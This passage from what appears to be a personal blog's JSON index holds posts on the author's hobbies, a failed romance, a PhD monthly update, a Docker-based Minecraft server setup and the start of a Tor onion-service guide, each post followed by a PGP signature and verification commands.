feeling sad. This is a pattern that has happened in my life a lot, something I need to stop from happening. Comparing myself with other, and competing with them. It\u0026rsquo;s just distroying me mentally. I am me, and the best me ever to exist. And that\u0026rsquo;s how it should be.\nSomewhere during my bachelors I also became fascinated by coffee! I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. Then came matcha, though with matcha things are much more limited.\nAnother thing that comes to mind is boardgames. I love boardgames that you need to think and be smart! An example is Cluedo. People usually don\u0026rsquo;t like to play it with me because I pay attention to \u0026ldquo;everything\u0026rdquo;. But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. I have a whole collection of boardgames that I don\u0026rsquo;t get to play! :-P One of my all time favorite games is \u0026ldquo;Zaar\u0026rdquo; (a persian game that was discontinued), and a game kinda similar to it called \u0026ldquo;The Night Cage\u0026rdquo;. I like them because there is a bit of strategy, luck, and a lot of co-op in them. In the later you either all win together, or get doomed. In the first one there is a comperition aspect to the game which makes it cool.\nCooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I\u0026rsquo;m a loner! (Drat. :P) I love to \u0026ldquo;not follow recipes\u0026rdquo; and try new things. Foods I make usually turn out to be quite yummy actually, though definitly not authentic. I also think I do a good job with the presentation part when I try. And I\u0026rsquo;m open to cooking anything and everything!\nI was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I\u0026rsquo;m alone, I rather do my other hobbies.\nAnd that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD\n3D printing is an interesting one. I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. When I went to 38c3 last year, I saw so many printers, and how cool they were. And somehting in my heart was touched, that I need one! The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. And oh well, 3D printing is just the hobby! I also tried to do some 3D design, but I\u0026rsquo;m quite a noob at it still. I will probably share some of the things I\u0026rsquo;ve made somewhere somehow, but not for now at least. Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). It\u0026rsquo;s so cute and fascinating, and I had an absolute blast working on it for the one week I did. So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. It\u0026rsquo;s just a fun thing to have, and to play around with. The fixing part of it, and maintaining it is not as fun, but it\u0026rsquo;s part of the journey. I will probably write about me and my 3D printer a lot more in the future. Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!\nAnd now let\u0026rsquo;s talk about the CTF stuff. This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). I\u0026rsquo;ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. After starting my PhD, I was introduced to Saarsec, and now I\u0026rsquo;m a proud member, trying to contribute as much as my time allows me to. I\u0026rsquo;m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. I love it! I want to do more of it. The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. Too shay. I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.\nAnd last but not least, blogging. Well, I kinda started it for no reason to be honest. I just want to share my stories, and to show my vulnerable side with no guilt. It feels freeing to do this, and I hope I continue! I hope people won\u0026rsquo;t get mad if they are a part of these stories I share. I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. I really enjoy it!\nWith all this being said, I think that\u0026rsquo;s it. If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. The only thing I want to emphasize is that I\u0026rsquo;m into things that make me limited to my creativity. Oh, and also books, if only I read them instead of watching Youtube!!!!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs\u0026#43; Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft L\u0026#43;2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK\u0026#43;Fyc\u0026#43;BlDnAO2qnjUgCW6XGn7QSy13AE y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd\u0026#43;CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0= =42yP -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md.asc gpg --verify hobbies.md.asc hobbies.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/","summary":"\u003cp\u003eWhen I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in.\nIn fact, when being interviewed for the position, I was asked about my hobbies.\u003c/p\u003e\n\u003cp\u003eFor some reason I think I have like the weirdest hobbies of all time.\nLike, you know, people binge series, go to clubs, bars, hang out, and so on.\nBut I always had interests in things that when I talk about people get weirded out, or at least some of them do so.\nTo be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\u003c/p\u003e","title":"Hobbies"},{"content":" Notice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\nSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person? So do I! I think I\u0026rsquo;m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\nMy problem is when things are to become more serious! Like, you know\u0026hellip; connecting at a more emotional level. A \u0026ldquo;relationship\u0026rdquo;. I\u0026rsquo;m really bad at those. In fact, I haven\u0026rsquo;t ever been in one! Now let\u0026rsquo;s be honest, I\u0026rsquo;m not your typical jacked, handsome boy, but I think I\u0026rsquo;m somewhere around the average if not higher a bit? Well, at least I hope so! :D\nI actually haven\u0026rsquo;t even dated once so far. My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like\u0026hellip; yea dude\u0026hellip; it was a date buddy. Why do I say it wasn\u0026rsquo;t a date? Well, because I was told so yesterday by her. That if it\u0026rsquo;s a date, you\u0026rsquo;re supposed to say it beforehand. I find that very fair actually. I really do. I wasn\u0026rsquo;t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. Like we planned a future together. We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!\nWe even found our \u0026ldquo;favorite shops\u0026rdquo; in the city together! It was weird! I\u0026rsquo;m so confused. I remember the second time we went out together, we sat next to the river and close to eachother. She leaned into me at some point. She had also touched my arm gently when making a joke earlier when we went shopping together. It felt weird. I did feel she was flirting with me, making plans with me. She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. We also had many deep conversations in this short amount of time.\nBut then it happened. Suddenly she messaged me saying how she is going to have a bf soon \u0026ldquo;hopefully\u0026rdquo;. That others know him, but not me. That where we live there are not that many people. That supply is low, and demand is high. That this person asked her fast so that \u0026ldquo;the slots won\u0026rsquo;t be filled\u0026rdquo;. It was weird, as if she was telling me I\u0026rsquo;m going to be taken if you don\u0026rsquo;t do anything\u0026hellip;? After this weird encounter I talked to two of my friends, and my married brother and his wife. When she heard about our interactions and all of the messages we passed, she did feel like I\u0026rsquo;ve been friendzoning her. That I\u0026rsquo;m not resiprocating her feelings. That she perhaps has a crush on me. Even my brother felt the same! My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. With all honestly, in her messages when she was teaching me the \u0026ldquo;ways\u0026rdquo;, she said \u0026ldquo;I don\u0026rsquo;t play games and I also advise you not to get together with people that do so\u0026rdquo;. Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I\u0026rsquo;m doing is normal and things are going well. But I guess I was wrong?\nI do want to talk about some things that we exchanged on this weird conversation that made me confused. She initially asked why I didn\u0026rsquo;t go out with them last night. I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. With all honestly I didn\u0026rsquo;t even know she was joining them or not. It\u0026rsquo;s kinda weird, but the plans were made in a group she was not inside of. Anyway.\nOctober 4th was a rainy day. She said she might be catching a cold, and that going out in this weather is maybe not a good choice. She said let\u0026rsquo;s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. You see? She proposed a different time and date, she didn\u0026rsquo;t just cancel last second. And then she started talking about last night, the things that happened. A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn\u0026rsquo;t know him. Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. Then she talked about how when two people see each other, a click can happen, and that\u0026rsquo;s how you can know if you like someone or not. If it\u0026rsquo;s two way ofc. I asked her what is this \u0026ldquo;click\u0026rdquo;? She said \u0026ldquo;you know when you know, and if you think you don\u0026rsquo;t know then there isn\u0026rsquo;t one\u0026rdquo;. Interesting. My poor brain started looking back at our own interactions. I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it\u0026hellip; And again I felt she is hinting something. Poor me was stuck between a rock and a hard place. She told me that if I like someone I should ask them on a date \u0026ldquo;early\u0026rdquo;, as time is of essence. Again, I was confused. I was lost. We\u0026rsquo;ve been hanging out for two weeks, we have our favorite similar shops, hobbies. We have plans together. We understood eachother. Or maybe that\u0026rsquo;s just how I felt in my mind? Maybe things in my brain are just different? I don\u0026rsquo;t know.\nMy sister in law told me that she probably had a crush on me and that I didn\u0026rsquo;t reciprocate her feelings perhaps? That I\u0026rsquo;m friendzoning her by not touching her back or asking her out on a \u0026ldquo;date\u0026rdquo;. Her reasoning is that she initiated all of this. She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. She told me that I should invite her to a date. That I have to do something romantic now, maybe get flowers, and a gift. And I did just that. I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. And I asked her on a date.\nShe said she enjoyed the company too, and thanked me. She then said she is starting a new relationship, but even if that was not the case, \u0026ldquo;we were so different from eachother at a much deeper level\u0026rdquo;. That her \u0026ldquo;life experiecnes\u0026rdquo; are just different, \u0026ldquo;and so on\u0026rdquo;. She did actually say \u0026ldquo;and so on\u0026rdquo;.\nYou know what it reminds me of? Of when your paper gets rejected by saying \u0026ldquo;lacks novelty\u0026rdquo;. xD\nAnother extremely funny thing is that she said we\u0026rsquo;re so different at a much deeper level, but she doesn\u0026rsquo;t even know me. What was meant at a deeper level? I\u0026rsquo;m confused again. She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. She knew nothing about me. How are we different so deeply if you don\u0026rsquo;t even know me? I\u0026rsquo;m so so incredibly confused. I guess it could be the looks, and the \u0026ldquo;vibes\u0026rdquo;? But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won\u0026rsquo;t pursue her I guess? Idk.\nI want to also come back to this point she made that she is \u0026ldquo;starting a new relationship\u0026rdquo;. She told me in the same conversation that someone asked her out (which she technically didn\u0026rsquo;t even say this, but it could be induced), and that going on a date \u0026ldquo;does not mean you\u0026rsquo;re in a relationship, that you want to know eachother\u0026rdquo;. Her saying that \u0026ldquo;I said I\u0026rsquo;m starting a new relationship\u0026rdquo; hurt me, not because she is doing that, because she didn\u0026rsquo;t technically tell me that. She then said \u0026ldquo;I always tell people this to avoid confusion\u0026rdquo;. I definitly didn\u0026rsquo;t miss it if she did. She didn\u0026rsquo;t, but whatever. It\u0026rsquo;s fine. I did apologize. The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me\u0026hellip; Did I miss it? She didn\u0026rsquo;t. Just trust me on this one. ;)\nI\u0026rsquo;m just confused. The last three times I had a crush on someone I confessed too. First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). Second case ended up in a tragedy that I do not want to talk about, lol! All I can say is that she definitly panicked and I don\u0026rsquo;t blame her. I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. The third one said that she is in an \u0026ldquo;undefined state\u0026rdquo; of a relationship, and that she wants to keep it \u0026ldquo;friendly\u0026rdquo; in university, which is completely fair. But this last one. This was the weird one. The first and third one were really sweet to me when I confessed/asked them out. The last one didn\u0026rsquo;t even show interest about being friends, which is again totally fine. But I\u0026rsquo;m just so baffeled by all of this.\nSo\u0026hellip; yea. This last \u0026ldquo;thing\u0026rdquo;, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. I do think I need to take a break from trying to get into a relationship. I\u0026rsquo;ve been hurt a lot by the second one, and this was just confusing. In her defence she was an amazing person. Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! I can\u0026rsquo;t just say the good stuff though. She was definitly a bit self-centered. It\u0026rsquo;s funny how she told me that \u0026ldquo;people say I\u0026rsquo;m so proud in a negative way, but anyone who talks with me knows I\u0026rsquo;m not like that\u0026rdquo;. Which is true, she wasn\u0026rsquo;t proud, the correct term is self-centered, or \u0026ldquo;narcissistic\u0026rdquo; if you will, which I don\u0026rsquo;t neceserrialy think is bad, but it is definitly an orange/yellow flag.\nOne thing I know is that I do wish her and whoever she dates the best! \u0026lt;3 And that I would be ok to stay friends with her, but since I\u0026rsquo;m hurt, I will be much colder. Sorry. :) And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. Fast progression ends like this? But then maybe we never progressed? I don\u0026rsquo;t know.\nWell. I don\u0026rsquo;t know what\u0026rsquo;s gonna happen next, but I\u0026rsquo;m going to just live my life and have fun. Aaaaaaaand maybe not worry about being single? Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won\u0026rsquo;t be alone? Who knows? haha.\nP.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I\u0026rsquo;m worth more than that. :) In my therapy session I remembered that in each of these so called \u0026ldquo;not dates\u0026rdquo; we had a conversation about \u0026ldquo;her\u0026rdquo;, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA\u0026#43;\u0026#43;dKrn \u0026#43;rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns pl\u0026#43;tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ\u0026#43;pBdSu0tCU4flVcDiTagVUE0hId8 LC/unRH9o1S/iLLM4Fhao7Aifxr\u0026#43;lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8 x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y Bq942gP8J14AnhZfss7QNY65dQV\u0026#43;h4WH\u0026#43;nnNELB0j9ekB2kEOdz3HzrbelKRdiOW vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo 6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo 9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea\u0026#43;6oBIiUF8j\u0026#43; SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ= =lM4c -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md.asc gpg --verify relationships.md.asc relationships.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/","summary":"\u003cblockquote\u003e\n\u003cp\u003eNotice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person?\nSo do I!\nI think I\u0026rsquo;m actually really good at making friends with people.\nLike you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\u003c/p\u003e","title":"Relationships"},{"content":"I started the month by finalizing my draft for Conext Student workshop. Let\u0026rsquo;s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I\u0026rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.\nI did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too!\nSurprise surprize, the notification did not come and it\u0026rsquo;s the last day of the month. Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. I\u0026rsquo;ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October\u0026hellip; Drat!\nI will probably do more literature review this last day of the month, and start working on the code base from next month. I should do a lot more literature review to be caught up with whatever that\u0026rsquo;s been done so far.\nMy social life has been much more exciting too. I\u0026rsquo;ve been socializing a lot more and have made many new friends. Some other exciting things have also been hapening that I don\u0026rsquo;t have the courage to write about now. ;) Buuuuuut\u0026hellip; I will probably write about them at some point if things go the way I hope theuy would. Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)\nAnd with that, that\u0026rsquo;s my September in a nutshell. I will probably start writing through the month and then turn the draft into a post from now on. That way it would look like a story!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP\u0026#43;Np/gpwm2Y2viYAv\u0026#43;njdwQag w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe\u0026#43;QGYpGsYEhei8tbjv7y 3giN/X4Vz8oowHlF0XCiBm\u0026#43;E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB\u0026#43;0JzZG 1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq\u0026#43;nEpRj0IGsHBZUn4t xxwF\u0026#43;HzHtVd9JWZHcfhLnh16PRT\u0026#43;drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm 9adYEohRZeM09EY16M6D\u0026#43;0JJDaQcHkL4TbTr/S1xbZ\u0026#43;K/5L\u0026#43;tLI9Mg0XoX0ZdG0B BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu\u0026#43;ELzLA0cik55TfEQNuiUDEpbz yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU\u0026#43;DyWles= =ranU -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md.asc gpg --verify September_2025.md.asc September_2025.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/","summary":"\u003cp\u003eI started the month by finalizing my draft for Conext Student workshop.\nLet\u0026rsquo;s cross our fingers and hope things work out and that it gets accepted.\nNotification should arrive on 25th, and I\u0026rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.\u003c/p\u003e\n\u003cp\u003eI did a vacation from 6th until 15th for a total of 10 days by taking 6 days off.\nI visited my parents after 13 months(!), and also my brother after more than two years.\nWe had so much fun!\nI did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya.\nWhat a delightful trip it was.\nI do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here.\nNow that my brother also has his greencard, we can travel together and see eachother more often too!\u003c/p\u003e","title":"September '25"},{"content":"Why I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:\nfailed to register layer: ... no space left on device Client saying: “Outdated client, please use 1.21.9 Pre-Release 2” Wanting config in a neat .env and no whitelist Here’s exactly what I did.\nFolder layout ~/minecraft/ ├─ docker-compose.yml ├─ .env └─ plugins/ .env (secrets \u0026amp; knobs) Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.\n# Minecraft server configuration EULA=TRUE TYPE=PAPER VERSION=LATEST MEMORY=4G USE_AIKAR_FLAGS=true # RCON (remote console) ENABLE_RCON=true RCON_PASSWORD=superSecretPassword123 I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.\ndocker-compose.yml services: mc: image: itzg/minecraft-server:latest container_name: mc restart: unless-stopped ports: - \u0026#34;25565:25565\u0026#34; # Java - \u0026#34;19132:19132/udp\u0026#34; # Bedrock via Geyser plugin env_file: - .env volumes: - mc-data:/data - ./plugins:/plugins:ro volumes: mc-data: {} The version: key in Compose is obsolete now, so I dropped it.\nAdd Geyser (and optional Floodgate) as plugins mkdir -p ~/minecraft/plugins cd ~/minecraft/plugins # Geyser (Spigot/Paper) wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar # Floodgate (optional: Bedrock accounts without Java linking) wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar Start it up:\ndocker compose up -d On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.\nHit a wall: /var ran out of space Docker stores layers at /var/lib/docker by default. My /var LV was tiny:\n/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var Quick cleanup docker system df docker system prune -f docker builder prune -af sudo apt-get clean sudo journalctl --vacuum-size=100M If that’s not enough, you have two good options:\nOption A — Move Docker’s data off /var sudo systemctl stop docker sudo mkdir -p /home/docker sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ echo \u0026#39;{ \u0026#34;data-root\u0026#34;: \u0026#34;/home/docker\u0026#34; }\u0026#39; | sudo tee /etc/docker/daemon.json sudo systemctl start docker docker info | grep \u0026#34;Docker Root Dir\u0026#34; If all looks good, free the old space:\nsudo rm -rf /var/lib/docker/* Option B — Grow /var (LVM) Check free space in the VG:\nsudo vgdisplay # look for \u0026#34;Free PE / Size\u0026#34; If available, extend /var by +5G:\nsudo lvextend -L +5G /dev/mapper/ubuntu--vg-var sudo resize2fs /dev/mapper/ubuntu--vg-var The version mismatch: pre-release vs stable My logs showed:\nStarting minecraft server version 1.21.9 Pre-Release 2 That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:\nEnsure .env has: VERSION=LATEST_RELEASE Recreate: docker compose down docker compose pull docker compose up -d Verify: docker logs mc | grep \u0026#34;Starting minecraft server version\u0026#34; # -\u0026gt; Starting minecraft server version 1.21.1 (example) Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).\nNo whitelist Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:\ndocker exec -it mc rcon-cli \u0026#34;op YourJavaIGN\u0026#34; (or edit /data/ops.json).\nBackup \u0026amp; updates World/data live under the mc-data volume → back up /data regularly. Update cleanly: docker compose pull \u0026amp;\u0026amp; docker compose up -d Watch space: watch -n5 \u0026#39;df -h /var; docker system df\u0026#39; TL;DR Put Geyser/Floodgate jars in ./plugins and expose 19132/udp. Keep configs in .env. Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM. Verify version in logs after each change. Happy block-breaking! 🧱🚀\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM jSrrmBAAuVoSvB3tRIzD\u0026#43;N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV 0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw 7p/hYijX0vGJ8\u0026#43;WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA JWQAyEUu3Vx/U0BnN6R9Lne\u0026#43;5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7 OzvAT5XXRS5Q6Udc7Nsa9T/OYG\u0026#43;elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz\u0026#43;UbLDz g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r NrClzg0Vujk/3zP/6yhCL7I0SwQ\u0026#43;NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl\u0026#43;LNOWXf/gomXH6Tqm9vnWr/aX sczdH6N2E0\u0026#43;7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M= =NmxL -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc gpg --verify minecraft_server.md.asc minecraft_server.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/","summary":"How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.","title":"Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases"},{"content":" TL;DR — The site is built once (Hugo project), published twice:\nOnion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.\nInstall \u0026amp; configure Tor (Debian/Ubuntu):\nsudo apt update \u0026amp;\u0026amp; sudo apt install -y tor sudoedit /etc/tor/torrc Add:\nHiddenServiceDir /var/lib/tor/hidden_site/ HiddenServicePort 80 127.0.0.1:3301 Make sure the directory is owned by Tor’s user and private:\nsudo mkdir -p /var/lib/tor/hidden_site sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site sudo chmod 700 /var/lib/tor/hidden_site Important: use the right systemd unit:\n# validate as the Tor user sudo -u debian-tor tor -f /etc/tor/torrc --verify-config # (re)start the real service sudo systemctl enable --now tor@default sudo systemctl restart tor@default Get the onion address:\nsudo cat /var/lib/tor/hidden_site/hostname Quick 